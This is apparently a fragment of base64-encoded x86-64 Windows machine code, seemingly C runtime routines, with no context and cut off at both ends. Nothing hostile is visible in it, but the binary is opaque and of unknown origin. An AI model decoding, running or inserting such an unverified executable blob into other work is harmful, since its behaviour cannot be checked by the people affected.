y///MzMzMQFNIg+wgTIvCSIvZSIXJdA4z0kiNQuBI9/NJO8ByQ0kPr9i4AQAAAEiF20gPRNjrFejaKQAAhcB0KEiLy+gq7f//hcB0HEiLDYd3AQBMi8O6CAAAAP8VyW8AAEiFwHTR6w3o5Q8AAMcADAAAADPASIPEIFvDzMzMTYXAdRgzwMMPtwFmhcB0E2Y7AnUOSIPBAkiDwgJJg+gBdeUPtwEPtworwcNIiVwkCFdIg+wgxkEYAEiL+UiF0nQFDxAC6xGLBX97AQCFwHUODxAFzBQBAPMPf0EI60/ozAQAAEiJB0iNVwhIi4iQAAAASIkKSIuIiAAAAEiJTxBIi8joaCoAAEiLD0iNVxDokCoAAEiLD4uBqAMAAKgCdQ2DyAKJgagDAADGRxgBSIvHSItcJDBIg8QgX8NAU0iD7CAz20iNFYFyAQBFM8BIjQybSI0MyrqgDwAA6PQIAACFwHQR/wVqdAEA/8OD+w1y07AB6wkzyegkAAAAMsBIg8QgW8NIY8FIjQyASI0FOnIBAEiNDMhI/yUnbgAAzMzMQFNIg+wgix0odAEA6x1IjQUXcgEA/8tIjQybSI0MyP8VD24AAP8NCXQBAIXbdd+wAUiDxCBbw8xIY8FIjQyASI0F5nEBAEiNDMhI/yXbbQAAzMzMSIlcJAhMiUwkIFdIg+wgSYvZSYv4iwrodP///5BIiwdIiwhIi4mIAAAASIXJdB6DyP/wD8EBg/gBdRJIjQXWDAEASDvIdAbo0Pz//5CLC+iQ////SItcJDBIg8QgX8PMSIlcJAhMiUwkIFdIg+wgSYvZSYv4iwroFP///5BIi0cISIsQSIsPSIsSSIsJ6H4CAACQiwvoSv///0iLXCQwSIPEIF/DzMzMSIlcJAhMiUwkIFdIg+wgSYvZSYv4iwrozP7//5BIiwdIiwhIi4GIAAAA8P8AiwvoCP///0iLXCQwSIPEIF/DzEiJXCQITIlMJCBXSIPsIEmL2UmL+IsK6Iz+//+QSIsPM9JIiwno/gEAAJCLC+jK/v//SItcJDBIg8QgX8PMzMxAVUiL7EiD7FBIiU3YSI1F2EiJRehMjU0gugEAAABMjUXouAUAAACJRSCJRShIjUXYSIlF8EiNReBIiUX4uAQAAACJRdCJRdRIjQWxeAEASIlF4IlRKEiNDRN7AABIi0XYSIkISI0NhQsBAEiLRdiJkKgDAABIi0XYSImIiAAAAI1KQkiLRdhIjVUoZomIvAAAAEiLRdhmiYjCAQAASI1NGEiLRdhIg6CgAwAAAOjO/v//TI1N0EyNRfBIjVXUSI1NGOhx/v//SIPEUF3DzMzMSIXJdBpTSIPsIEiL2egOAAAASIvL6Ar7//9Ig8QgW8NAVUiL7EiD7EBIjUXoSIlN6EiJRfBIjRVkegAAuAUAAACJRSCJRShIjUXoSIlF+LgEAAAAiUXgiUXkSIsBSDvCdAxIi8jouvr//0iLTehIi0lw6K36//9Ii03oSItJWOig+v//SItN6EiLSWDok/r//0iLTehIi0lo6Ib6//9Ii03oSItJSOh5+v//SItN6EiLSVDobPr//0iLTehIi0l46F/6//9Ii03oSIuJgAAAAOhP+v//SItN6EiLicADAADoP/r//0yNTSBMjUXwSI1VKEiNTRjoDv3//0yNTeBMjUX4SI1V5EiNTRjo4f3//0iDxEBdw8zMzEiJXCQIV0iD7CBIi/lIi9pIi4mQAAAASIXJdCzofysAAEiLj5AAAABIOw3pdgEAdBdIjQUQDwEASDvIdAuDeRAAdQXoWCkAAEiJn5AAAABIhdt0CEiLy+i4KAAASItcJDBIg8QgX8PMQFNIg+wgiw2ICQEAg/n/dCroEgQAAEiL2EiFwHQdiw1wCQEAM9LoVQQAAEiLy+ht/v//SIvL6Gn5//9Ig8QgW8PMzMxIiVwkCFdIg+wg/xU8aQAAiw06CQEAi9iD+f90DejCAwAASIv4SIXAdUG6yAMAALkBAAAA6B/6//9Ii/hIhcB1CTPJ6Bj5///rPIsNAAkBAEiL0OjkAwAASIvPhcB05OgI/f//M8no9fj//0iF/3QWi8v/FYxpAABIi1wkMEiLx0iDxCBfw4vL/xV2aQAA6G35///MSIlcJAhIiXQkEFdIg+wg/xWjaAAAiw2hCAEAM/aL2IP5/3QN6CcDAABIi/hIhcB1QbrIAwAAuQEAAADohPn//0iL+EiFwHUJM8noffj//+smiw1lCAEASIvQ6EkDAABIi8+FwHTk6G38//8zyeha+P//SIX/dQqLy/8V8WgAAOsLi8v/FedoAABIi/dIi1wkMEiLxkiLdCQ4SIPEIF/DzEiD7ChIjQ39/P//6PABAACJBQYIAQCD+P91BDLA6xXoPP///0iFwHUJM8noDAAAAOvpsAFIg8Qow8zMzEiD7CiLDdYHAQCD+f90DOgIAgAAgw3FBwEA/7ABSIPEKMPMzEiJXCQISIlsJBBIiXQkGFdBVEFVQVZBV0iD7CBEi/FMjT0ih///TYvhSYvoTIvqS4uM9/DnAQBMixVCBwEASIPP/0GLwkmL0kgz0YPgP4rISNPKSDvXD4QlAQAASIXSdAhIi8LpGgEAAE07wQ+EowAAAIt1AEmLnPdQ5wEASIXbdAdIO990eutzTYu89+DxAAAz0kmLz0G4AAgAAP8VJmgAAEiL2EiFwHUg/xUIZwAAg/hXdRNFM8Az0kmLz/8VBWgAAEiL2OsCM9tMjT13hv//SIXbdQ1Ii8dJh4T3UOcBAOseSIvDSYeE91DnAQBIhcB0CUiLy/8VxGcAAEiF23VVSIPFBEk77A+FZP///0yLFWsGAQAz20iF23RKSYvVSIvL/xUwZgAASIXAdDJMiwVMBgEAukAAAABBi8iD4T8r0YrKSIvQSNPKSTPQS4eU9/DnAQDrLUyLFSMGAQDruEyLFRoGAQBBi8K5QAAAAIPgPyvISNPPSTP6S4e89/DnAQAzwEiLXCRQSItsJFhIi3QkYEiDxCBBX0FeQV1BXF/DSIlcJAhXSIPsIEiL+UyNDcR8AAC5AwAAAEyNBbB8AABIjRVhawAA6DT+//9Ii9hIhcB0EEiLyP8VC2gAAEiLz//T6wb/FbZmAABIi1wkMEiDxCBfw8zMzEiJXCQIV0iD7CCL2UyNDXV8AAC5BAAAAEyNBWF8AABIjRUiawAA6N39//9Ii/hIhcB0D0iLyP8VtGcAAIvL/9frCIvL/xV2ZgAASItcJDBIg8QgX8PMzMxIiVwkCFdIg+wgi9lMjQ0lfAAAuQUAAABMjQURfAAASI0V2moAAOiF/f//SIv4SIXAdA9Ii8j/FVxnAACLy//X6wiLy/8VDmYAAEiLXCQwSIPEIF/DzMzMSIlcJAhIiXQkEFdIg+wgSIvaTI0Nz3sAAIv5SI0VnmoAALkGAAAATI0FsnsAAOgl/f//SIvwSIXAdBJIi8j/FfxmAABIi9OLz//W6wtIi9OLz/8VsGUAAEiLXCQwSIt0JDhIg8QgX8NIiVwkCEiJbCQQSIl0JBhXSIPsIEGL6EyNDYp7AACL2kyNBXl7AABIi/lIjRU/agAAuRQAAADotfz//0iL8EiFwHQVSIvI/xWMZgAARIvFi9NIi8//1usLi9NIi8//FSVlAABIi1wkMEiLbCQ4SIt0JEBIg8QgX8NIi8RIiVgISIloEEiJcBhIiXggQVZIg+xQQYv5SYvwi+pMjQ0QewAATIvxTI0F/noAAEiNFf96AAC5FgAAAOg1/P//SIvYSIXAdFdIi8j/FQxmAABIi4wkoAAAAESLz0iLhCSAAAAATIvGSIlMJECL1UiLjCSYAAAASIlMJDhIi4wkkAAAAEiJTCQwi4wkiAAAAIlMJChJi85IiUQkIP/T6zIz0kmLzuhEAAAAi8hEi8+LhCSIAAAATIvGiUQkKIvVSIuEJIAAAABIiUQkIP8VlGQAAEiLXCRgSItsJGhIi3QkcEiLfCR4SIPEUEFew8xIiVwkCEiJdCQQV0iD7CCL8kyNDUh6AABIi9lIjRU+egAAuRgAAABMjQUqegAA6FX7//9Ii/hIhcB0EkiLyP8VLGUAAIvWSIvL/9frCEiLy+jbJgAASItcJDBIi3QkOEiDxCBfw8zMzEiJfCQISIsVlAIBAEiNPUVqAQCLwrlAAAAAg+A/K8gzwEjTyLkgAAAASDPC80irSIt8JAiwAcPMSIlcJBBXSIPsIIsFEGsBADPbhcB0CIP4AQ+UwOtcTI0NW3kAALkIAAAATI0FR3kAAEiNFUh5AADoq/r//0iL+EiFwHQoSIvIiVwkMP8VfmQAADPSSI1MJDD/14P4enUNjUiHsAGHDbVqAQDrDbgCAAAAhwWoagEAMsBIi1wkOEiDxCBfw8zMzEBTSIPsIITJdS9IjR3naAEASIsLSIXJdBBIg/n/dAb/FftiAABIgyMASIPDCEiNBWRpAQBIO9h12LABSIPEIFvDzMzMSIlcJBBIiXQkGFVXQVZIjawkEPv//0iB7PAFAABIiwV4AQEASDPESImF4AQAAEGL+Ivyi9mD+f90BeiBrf//M9JIjUwkcEG4mAAAAOizuf//M9JIjU0QQbjQBAAA6KK5//9IjUQkcEiJRCRISI1NEEiNRRBIiUQkUP8VdWEAAEyLtQgBAABIjVQkQEmLzkUzwP8VZWEAAEiFwHQ2SINkJDgASI1MJGBIi1QkQEyLyEiJTCQwTYvGSI1MJFhIiUwkKEiNTRBIiUwkIDPJ/xUyYQAASIuFCAUAAEiJhQgBAABIjYUIBQAASIPACIl0JHBIiYWoAAAASIuFCAUAAEiJRYCJfCR0/xVRYQAAM8mL+P8V/2AAAEiNTCRI/xXsYAAAhcB1EIX/dQyD+/90B4vL6Iys//9Ii43gBAAASDPM6JGe//9MjZwk8AUAAEmLWyhJi3MwSYvjQV5fXcPMSIkN+WgBAMNIi8RIiVgISIloEEiJcBhIiXggQVZIg+wwQYv5SYvwSIvqTIvx6I73//9IhcB0QUiLmLgDAABIhdt0NUiLy/8VXGIAAESLz0yLxkiL1UmLzkiLw0iLXCRASItsJEhIi3QkUEiLfCRYSIPEMEFeSP/gSIsdwf8AAIvLSDMdeGgBAIPhP0jTy0iF23WwSItEJGBEi89Mi8ZIiUQkIEiL1UmLzugiAAAAzMxIg+w4SINkJCAARTPJRTPAM9Izyeg/////SIPEOMPMzEiD7Ci5FwAAAOh3VgAAhcB0B7kFAAAAzSlBuAEAAAC6FwQAwEGNSAHop/3///8VvV8AAEiLyLoXBADASIPEKEj/JbJfAADMzDPATI0Nl3YAAEmL0USNQAg7CnQr/8BJA9CD+C1y8o1B7YP4EXcGuA0AAADDgcFE////uBYAAACD+Q5BD0bAw0GLRMEEw8zMzEiJXCQIV0iD7CCL+ehP9v//SIXAdQlIjQUH/wAA6wRIg8AkiTjoNvb//0iNHe/+AABIhcB0BEiNWCCLz+h3////iQNIi1wkMEiDxCBfw8zMSIPsKOgH9v//SIXAdQlIjQW//gAA6wRIg8AkSIPEKMNIg+wo6Of1//9IhcB1CUiNBZv+AADrBEiDwCBIg8Qow0g7ynMEg8j/wzPASDvKD5fAw8zMSIlcJAhIiVQkEFVWV0FUQVVBVkFXSIvsSIPsYDP/SIvZSIXSdRboof///41fFokY6Hf+//+Lw+mgAQAAD1fASIk6SDk58w9/ReBIiX3wdFdIiwtIjVVQZsdFUCo/QIh9UugWJwAASIsLSIXAdRBMjU3gRTPAM9LokAEAAOsMTI1F4EiL0OiSAgAARIvwhcB1CUiDwwhIOTvrtEyLZehIi3Xg6fkAAABIi3XgTIvPTItl6EiL1kmLxEiJfVBIK8ZMi8dMi/hJwf8DSf/HSI1IB0jB6QNJO/RID0fPSYPO/0iFyXQlTIsSSYvGSP/AQTg8AnX3Sf/BSIPCCEwDyEn/wEw7wXXfTIlNUEG4AQAAAEmL0UmLz+jG4v//SIvYSIXAdHdKjRT4TIv+SIlV2EiLwkiJVVhJO/R0VkiLy0grzkiJTdBNiwdNi+5J/8VDODwodfdIK9BJ/8VIA1VQTYvNSIvI6EElAACFwA+FhQAAAEiLRVhIi03QSItV2EqJBDlJA8VJg8cISIlFWE07/HW0SItFSESL90iJGDPJ6Ojs//9Ji9xMi/5IK95Ig8MHSMHrA0k79EgPR99Ihdt0FEmLD+jD7P//SP/HTY1/CEg7+3XsSIvO6K/s//9Bi8ZIi5wkoAAAAEiDxGBBX0FeQV1BXF9eXcNFM8lIiXwkIEUzwDPSM8noxPz//8zMzMxIi8RIiVgISIloEEiJcBhIiXggQVRBVkFXSIPsMEiDyP9Ji/FIi/hJi+hMi+JMi/lI/8eAPDkAdfe6AQAAAEkrwEgD+kg7+HYijUILSItcJFBIi2wkWEiLdCRgSIt8JGhIg8QwQV9BXkFcw02NcAFMA/dJi87o+uz//0iL2EiF7XQVTIvNTYvESYvWSIvI6AkkAACFwHVNTCv1SI0MK0mL1kyLz02Lx+jwIwAAhcB1SkiLzugEAgAAi/iFwHQKSIvL6Lbr///rDkiLRghIiRhIg0YICDP/M8non+v//4vH6Wj///9Ig2QkIABFM8lFM8Az0jPJ6Mf7///MSINkJCAARTPJRTPAM9Izyeix+///zEiJXCQgVVZXQVZBV0iB7IABAABIiwUG+wAASDPESImEJHABAABNi/BIi/FIuwEIAAAAIAAASDvRdCKKAiwvPC13CkgPvsBID6PDchBIi87orCQAAEiL0Eg7xnXeigqA+Tp1HkiNRgFIO9B0FU2LzkUzwDPSSIvO6HT+///pgQAAAIDpLzP/gPktdw1ID77BSA+jw41HAXICi8dIK9ZIjUwkMEj/wkG4QAEAAPbYTRv/TCP6M9LozrL//0UzyYl8JChMjUQkMEiJfCQgM9JIi87/FcpbAABIi9hIg/j/dUpNi85FM8Az0kiLzugB/v//i/hIg/v/dAlIi8v/FZhbAACLx0iLjCRwAQAASDPM6EaY//9Ii5wkyAEAAEiBxIABAABBX0FeX15dw0mLbghJKy5Iwf0DgHwkXC51E4pEJF2EwHQiPC51B0A4fCRedBdNi85IjUwkXE2Lx0iL1uiP/f//hcB1ikiNVCQwSIvL/xU1WwAAhcB1vUmLBkmLVghIK9BIwfoDSDvqD4Rj////SCvVSI0M6EyNDTT7//9BuAgAAADosR4AAOlF////SIlcJAhIiWwkEEiJdCQYV0iD7CBIi3EQSIv5SDlxCHQHM8DpigAAADPbSDkZdTKNUwiNSwTofur//zPJSIkH6Hzp//9IiwdIhcB1B7gMAAAA619IiUcISIPAIEiJRxDrwEgrMUi4/////////39Iwf4DSDvwd9VIiwlIjSw2SIvVQbgIAAAA6IgMAABIhcB1BY1YDOsTSI0M8EiJB0iJTwhIjQzoSIlPEDPJ6BDp//+Lw0iLXCQwSItsJDhIi3QkQEiDxCBfw8zpa/r//8zMzEiJXCQITIlMJCBXSIPsIEmL2UmL+IsK6Ejr//+QSIvP6BMAAACQiwvoi+v//0iLXCQwSIPEIF/DSIlcJAhIiXQkEFdIg+wgSIsBSIvZSIsQSIuCiAAAAItQBIkVDGEBAEiLAUiLEEiLgogAAACLUAiJFfpgAQBIiwFIixBIi4KIAAAASIuIIAIAAEiJDfNgAQBIiwNIiwhIi4GIAAAASIPADHQX8g8QAPIPEQXEYAEAi0AIiQXDYAEA6x8zwEiJBbBgAQCJBbJgAQDoZfn//8cAFgAAAOg6+P//SIsDvwIAAABIiwiNd35Ii4GIAAAASI0NJvsAAEiDwBh0UovXDxAADxEBDxBIEA8RSRAPEEAgDxFBIA8QSDAPEUkwDxBAQA8RQUAPEEhQDxFJUA8QQGAPEUFgSAPODxBIcEgDxg8RSfBIg+oBdbaKAIgB6x0z0kG4AQEAAOixr///6NT4///HABYAAADoqff//0iLA0iLCEiLgYgAAABIjQ2t+wAASAUZAQAAdEwPEAAPEQEPEEgQDxFJEA8QQCAPEUEgDxBIMA8RSTAPEEBADxFBQA8QSFAPEUlQDxBAYA8RQWBIA84PEEhwSAPGDxFJ8EiD7wF1tusdM9JBuAABAADoLK///+hP+P//xwAWAAAA6CT3//9Iiw0d+QAAg8j/8A/BAYP4AXUYSIsNCvkAAEiNBdv2AABIO8h0BejV5v//SIsDSIsISIuBiAAAAEiJBeX4AABIiwNIiwhIi4GIAAAA8P8ASItcJDBIi3QkOEiDxCBfw8xAU0iD7ECL2TPSSI1MJCDoKOj//4MlFV8BAACD+/51EscFBl8BAAEAAAD/FcRXAADrFYP7/XUUxwXvXgEAAQAAAP8VpVcAAIvY6xeD+/x1EkiLRCQoxwXRXgEAAQAAAItYDIB8JDgAdAxIi0wkIIOhqAMAAP2Lw0iDxEBbw8zMzEiJXCQISIlsJBBIiXQkGFdIg+wgSI1ZGEiL8b0BAQAASIvLRIvFM9LoD67//zPASI1+DEiJRgS5BgAAAEiJhiACAAAPt8Bm86tIjT3M9QAASCv+igQfiANI/8NIg+0BdfJIjY4ZAQAAugABAACKBDmIAUj/wUiD6gF18kiLXCQwSItsJDhIi3QkQEiDxCBfw0iJXCQQSIl8JBhVSI2sJID5//9IgeyABwAASIsFI/UAAEgzxEiJhXAGAABIi/lIjVQkUItJBP8VsFYAALsAAQAAhcAPhDYBAAAzwEiNTCRwiAH/wEj/wTvDcvWKRCRWSI1UJFbGRCRwIOsiRA+2QgEPtsjrDTvLcw6LwcZEDHAg/8FBO8h27kiDwgKKAoTAddqLRwRMjUQkcINkJDAARIvLiUQkKLoBAAAASI2FcAIAADPJSIlEJCDoHx8AAINkJEAATI1MJHCLRwREi8NIi5cgAgAAM8mJRCQ4SI1FcIlcJDBIiUQkKIlcJCDo/CMAAINkJEAATI1MJHCLRwRBuAACAABIi5cgAgAAM8mJRCQ4SI2FcAEAAIlcJDBIiUQkKIlcJCDowyMAAEyNRXBMK8dMjY1wAQAATCvPSI2VcAIAAEiNTxn2AgF0CoAJEEGKRAjn6w32AgJ0EIAJIEGKRAnniIEAAQAA6wfGgQABAAAASP/BSIPCAkiD6wF1yOs/M9JIjU8ZRI1Cn0GNQCCD+Bl3CIAJEI1CIOsMQYP4GXcOgAkgjULgiIEAAQAA6wfGgQABAAAA/8JI/8E703LHSIuNcAYAAEgzzOivkf//TI2cJIAHAABJi1sYSYt7IEmL413DzMxIiVwkCFVWV0iL7EiD7EBAivKL2egz6v//SIlF6Oi+AQAAi8vo4/z//0iLTeiL+EyLgYgAAABBO0AEdQczwOm4AAAAuSgCAADon+P//0iL2EiFwA+ElQAAAEiLRei6BAAAAEiLy0iLgIgAAABEjUJ8DxAADxEBDxBIEA8RSRAPEEAgDxFBIA8QSDAPEUkwDxBAQA8RQUAPEEhQDxFJUA8QQGAPEUFgSQPIDxBIcEkDwA8RSfBIg+oBdbYPEAAPEQEPEEgQDxFJEEiLQCBIiUEgi88hE0iL0+jEAQAAi/iD+P91JegI9P//xwAWAAAAg8//SIvL6LPi//+Lx0iLXCRgSIPEQF9eXcNAhPZ1BegeEQAASItF6EiLiIgAAACDyP/wD8EBg/gBdRxIi0XoSIuIiAAAAEiNBW3yAABIO8h0Behn4v//xwMBAAAASIvLSItF6DPbSImIiAAAAEiLRej2gKgDAAACdYn2BfH5AAABdYBIjUXoSIlF8EyNTTiNQwVMjUXwiUU4SI1V4IlF4EiNTTDoJfn//0iLBar4AABAhPZID0UFJ/QAAEiJBZj4AADpPP///8zMzEiD7CiAPYVaAQAAdROyAbn9////6C/+///GBXBaAQABsAFIg8Qow8xIiVwkEFdIg+wg6F3o//9Ii/iLDWj5AACFiKgDAAB0E0iDuJAAAAAAdAlIi5iIAAAA63O5BQAAAOgD5P//kEiLn4gAAABIiVwkMEg7HZ/zAAB0SUiF23Qig8j/8A/BA4P4AXUWSI0FXfEAAEiLTCQwSDvIdAXoUuH//0iLBW/zAABIiYeIAAAASIsFYfMAAEiJRCQw8P8ASItcJDC5BQAAAOju4///SIXbdQbovOH//8xIi8NIi1wkOEiDxCBfw8xIiVwkGEiJbCQgVldBVEFWQVdIg+xASIsFo/AAAEgzxEiJRCQ4SIva6D/6//8z9ov4hcB1DUiLy+iv+v//6T0CAABMjSX/8gAAi+5Ji8RBvwEAAAA5OA+EMAEAAEED70iDwDCD/QVy7I2HGAL//0E7xw+GDQEAAA+3z/8V0FEAAIXAD4T8AAAASI1UJCCLz/8V01EAAIXAD4TbAAAASI1LGDPSQbgBAQAA6Hqo//+JewRIibMgAgAARDl8JCAPhp4AAABIjUwkJkA4dCQmdDBAOHEBdCoPtkEBD7YRO9B3FivCjXoBQY0UB4BMHxgEQQP/SSvXdfNIg8ECQDgxddBIjUMauf4AAACACAhJA8dJK8919YtLBIHppAMAAHQvg+kEdCGD6Q10E0E7z3QFSIvG6yJIiwV/aAAA6xlIiwVuaAAA6xBIiwVdaAAA6wdIiwVMaAAASImDIAIAAESJewjrA4lzCEiNewwPt8a5BgAAAGbzq+n/AAAAOTUeWAEAD4Wx/v//g8j/6fUAAABIjUsYM9JBuAEBAADoi6f//4vFTY1MJBBMjTWN8QAAvQQAAABMjRxAScHjBE0Dy0mL0UE4MXRAQDhyAXQ6RA+2Ag+2QgFEO8B3JEWNUAFBgfoBAQAAcxdBigZFA8dBCEQaGEUD1w+2QgFEO8B24EiDwgJAODJ1wEmDwQhNA/dJK+91rIl7BESJewiB76QDAAB0KoPvBHQcg+8NdA5BO/91IkiLNYRnAADrGUiLNXNnAADrEEiLNWJnAADrB0iLNVFnAABMK9tIibMgAgAASI1LDLoGAAAAS408Iw+3RA/4ZokBSI1JAkkr13XvSIvL6P34//8zwEiLTCQ4SDPM6GqM//9MjVwkQEmLW0BJi2tISYvjQV9BXkFcX17DzEiJXCQISIl0JBBXSIPsQIvaQYv5SIvRQYvwSI1MJCDo3N///0iLRCQwD7bTQIR8Ahl1GoX2dBBIi0QkKEiLCA+3BFEjxusCM8CFwHQFuAEAAACAfCQ4AHQMSItMJCCDoagDAAD9SItcJFBIi3QkWEiDxEBfw8zMzIvRQbkEAAAAM8lFM8Dpdv///8zMSIPsKP8VMk8AAEiJBXtWAQD/FS1PAABIiQV2VgEAsAFIg8Qow8zMzEiLxEiJWAhIiWgQSIlwGEiJeCBBVkiD7ED/FQVPAABFM/ZIi9hIhcAPhKYAAABIi/BmRDkwdBxIg8j/SP/AZkQ5NEZ19kiNNEZIg8YCZkQ5NnXkTIl0JDhIK/NMiXQkMEiDxgJI0f5Mi8NEi85EiXQkKDPSTIl0JCAzyf8VK00AAEhj6IXAdExIi83oYN3//0iL+EiFwHQvTIl0JDhEi85MiXQkMEyLw4lsJCgz0jPJSIlEJCD/FfFMAACFwHQISIv3SYv+6wNJi/ZIi8/o3tz//+sDSYv2SIXbdAlIi8v/FUdOAABIi1wkUEiLxkiLdCRgSItsJFhIi3wkaEiDxEBBXsPM6QMAAADMzMxIiVwkCEiJbCQQSIl0JBhXSIPsIEmL6EiL2kiL8UiF0nQdM9JIjULgSPfzSTvAcw/os+3//8cADAAAADPA60FIhcl0CuhPHAAASIv46wIz/0gPr91Ii85Ii9PodRwAAEiL8EiFwHQWSDv7cxFIK99IjQw4TIvDM9LoQ6T//0iLxkiLXCQwSItsJDhIi3QkQEiDxCBfw8zMzEiD7Cj/FYZNAABIhcBIiQXEVAEAD5XASIPEKMNIgyW0VAEAALABw8xIi8RIiVgISIloEEiJcBhIiXggQVZIgeyQAAAASI1IiP8VOkwAAEUz9mZEOXQkYg+EmAAAAEiLRCRoSIXAD4SKAAAASGMYSI1wBL8AIAAASAPeOTgPTDiLz+giHQAAOz1cWAEAD089VVgBAIX/dF5Bi+5Igzv/dEVIgzv+dD/2BgF0OvYGCHUNSIsL/xXnTAAAhcB0KEiLzUiNFSFUAQCD4T9Ii8VIwfgGSMHhBkgDDMJIiwNIiUEoigaIQThI/8VI/8ZIg8MISIPvAXWlTI2cJJAAAABJi1sQSYtrGEmLcyBJi3soSYvjQV7DzEiJXCQISIl0JBBIiXwkGEFWSIPsIDP/RTP2SGPfSI0NsFMBAEiLw4PjP0jB+AZIweMGSAMcwUiLQyhIg8ACSIP4AXYJgEs4gOmJAAAAxkM4gYvPhf90FoPpAXQKg/kBufT////rDLn1////6wW59v////8VDEwAAEiL8EiNSAFIg/kBdgtIi8j/Ff5LAADrAjPAhcB0HQ+2yEiJcyiD+QJ1BoBLOEDrLoP5A3UpgEs4COsjgEs4QEjHQyj+////SIsFZlcBAEiFwHQLSYsEBsdAGP7/////x0mDxgiD/wMPhTX///9Ii1wkMEiLdCQ4SIt8JEBIg8QgQV7DzEBTSIPsILkHAAAA6GDc//8z2zPJ6H8bAACFwHUM6Pb9///o3f7//7MBuQcAAADokdz//4rDSIPEIFvDzEiJXCQIV0iD7CAz20iNPYlSAQBIiww7SIXJdAro6xoAAEiDJDsASIPDCEiB+wAEAABy2bABSItcJDBIg8QgX8NIiVwkCEiJbCQQSIl0JBhXSIPsIEiL8kiL+Ug7ynUEsAHrXEiL2UiLK0iF7XQPSIvN/xVlSwAA/9WEwHQJSIPDEEg73nXgSDvedNRIO990LUiDw/hIg3v4AHQVSIszSIX2dA1Ii87/FTBLAAAzyf/WSIPrEEiNQwhIO8d11zLASItcJDBIi2wkOEiLdCRASIPEIF/DSIlcJAhIiXQkEFdIg+wgSIvxSDvKdCZIjVr4SIs7SIX/dA1Ii8//FdxKAAAzyf/XSIPrEEiNQwhIO8Z13kiLXCQwsAFIi3QkOEiDxCBfw8xIiVwkCEyJTCQgV0iD7CBJi/mLCuj32v//kEiLHS/oAACLy4PhP0gzHWNVAQBI08uLD+gt2///SIvDSItcJDBIg8QgX8PMzMxMi9xIg+wouAMAAABNjUsQTY1DCIlEJDhJjVMYiUQkQEmNSwjoj////0iDxCjDzMxIiQ0BVQEASIkNAlUBAEiJDQNVAQBIiQ0EVQEAw8zMzEiLxFNWV0FUQVVBV0iD7EiL+UUz7UQhaBhAtgFAiLQkgAAAAIP5Ag+EjgAAAIP5BHQig/kGD4SAAAAAg/kIdBSD+Qt0D4P5D3RxjUHrg/gBdmnrROjf3v//TIvoSIXAdQiDyP/pIgIAAEiLCEiLFc1XAABIweIESAPR6wk5eQR0C0iDwRBIO8p18jPJM8BIhckPlcCFwHUS6Kvo///HABYAAADogOf//+u3SI1ZCEAy9kCItCSAAAAA6z+D6QJ0M4PpBHQTg+kJdCCD6QZ0EoP5AXQEM9vrIkiNHRlUAQDrGUiNHQhUAQDrEEiNHQ9UAQDrB0iNHe5TAQBIg6QkmAAAAABAhPZ0C7kDAAAA6GbZ//+QQIT2dBdIixWZ5gAAi8qD4T9IMxNI08pMi/rrA0yLO0mD/wEPlMCIhCSIAAAAhMAPhb8AAABNhf91GECE9nQJQY1PA+hx2f//uQMAAADoJ8r//0G8EAkAAIP/C3dAQQ+j/HM6SYtFCEiJhCSYAAAASIlEJDBJg2UIAIP/CHVW6A7d//+LQBCJhCSQAAAAiUQkIOj73P//x0AQjAAAAIP/CHUySIsFjFYAAEjB4ARJA0UASIsNhVYAAEjB4QRIA8hIiUQkKEg7wXQxSINgCABIg8AQ6+tIixXK5QAAi8KD4D+5QAAAACvIM8BI08hIM8JIiQPrBkG8EAkAAECE9nQKuQMAAADosNj//4C8JIgAAAAAdAQzwOthg/8IdR7ocNz//0iL2EmLz0iLFd9HAAD/0otTEIvPQf/X6xFJi89IiwXJRwAA/9CLz0H/14P/C3fDQQ+j/HO9SIuEJJgAAABJiUUIg/8IdazoJdz//4uMJJAAAACJSBDrm0iDxEhBX0FdQVxfXlvDzMzMSIsVFeUAAIvKSDMVXFIBAIPhP0jTykiF0g+VwMPMzMxIiQ1FUgEAw0iJXCQIV0iD7CBIix3j5AAASIv5i8tIMx0nUgEAg+E/SNPLSIXbdQQzwOsOSIvL/xUnRwAASIvP/9NIi1wkMEiDxCBfw8zMzIsFFlIBAMPMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsUEUz9kmL6EiL8kiL+UiF0nQTTYXAdA5EODJ1JkiFyXQEZkSJMTPASItcJGBIi2wkaEiLdCRwSIt8JHhIg8RQQV7DSYvRSI1MJDDoJdb//0iLRCQ4TDmwOAEAAHUVSIX/dAYPtgZmiQe7AQAAAOmkAAAAD7YOSI1UJDjoPRoAALsBAAAAhcB0UUiLTCQ4RItJCEQ7y34vQTvpfCqLSQyNUwhBi8ZIhf9Mi8YPlcCJRCQoSIl8JCD/FRBEAABIi0wkOIXAdQ9IY0EISDvocjpEOHYBdDSLWQjrPUGLxkiF/0SLy0yLxg+VwLoJAAAAiUQkKEiLRCQ4SIl8JCCLSAz/FchDAACFwHUO6A/l//+Dy//HACoAAABEOHQkSHQMSItMJDCDoagDAAD9i8Pp9/7//0Uzyemw/v//QFNIg+wgSIsFn1ABAEiL2kg5AnQWi4GoAwAAhQUz6wAAdQjotAUAAEiJA0iDxCBbw8zMzEBTSIPsIEiLBYPlAABIi9pIOQJ0FouBqAMAAIUF/+oAAHUI6Hjx//9IiQNIg8QgW8PMzMxIg+woSIXJdRXobuT//8cAFgAAAOhD4///g8j/6wOLQRhIg8Qow8zMSIvESIlYCEiJaBBIiXAYSIl4IEFWSIPsIIsFHVABADPbvwMAAACFwHUHuAACAADrBTvHD0zHSGPIuggAAACJBfhPAQDov9P//zPJSIkF8k8BAOi50v//SDkd5k8BAHUvuggAAACJPdFPAQBIi8/oldP//zPJSIkFyE8BAOiP0v//SDkdvE8BAHUFg8j/63VMi/NIjTU76QAASI0tHOkAAEiNTTBFM8C6oA8AAOij3f//SIsFjE8BAEiNFS1LAQBIi8uD4T9IweEGSYksBkiLw0jB+AZIiwTCSItMCChIg8ECSIP5AncGxwb+////SP/DSIPFWEmDxghIg8ZYSIPvAXWeM8BIi1wkMEiLbCQ4SIt0JEBIi3wkSEiDxCBBXsPMQFNIg+wg6NkWAADoBBgAADPbSIsNC08BAEiLDAvophgAAEiLBftOAQBIiwwDSIPBMP8VfUIAAEiDwwhIg/sYddFIiw3cTgEA6KPR//9IgyXPTgEAAEiDxCBbw8xIg8EwSP8lPUIAAMxIg8EwSP8lOUIAAMy4AQAAAIcFrU4BAMNAV0iD7CBIjT2f5gAASDk9aE4BAHQruQQAAADoxNP//5BIi9dIjQ1RTgEA6OwDAABIiQVFTgEAuQQAAADo99P//0iDxCBfw8xIg+wo6L/X//9IjVQkMEiLiJAAAABIiUwkMEiLyOhm/f//SItEJDBIiwBIg8Qow8zw/0EQSIuB4AAAAEiFwHQD8P8ASIuB8AAAAEiFwHQD8P8ASIuB6AAAAEiFwH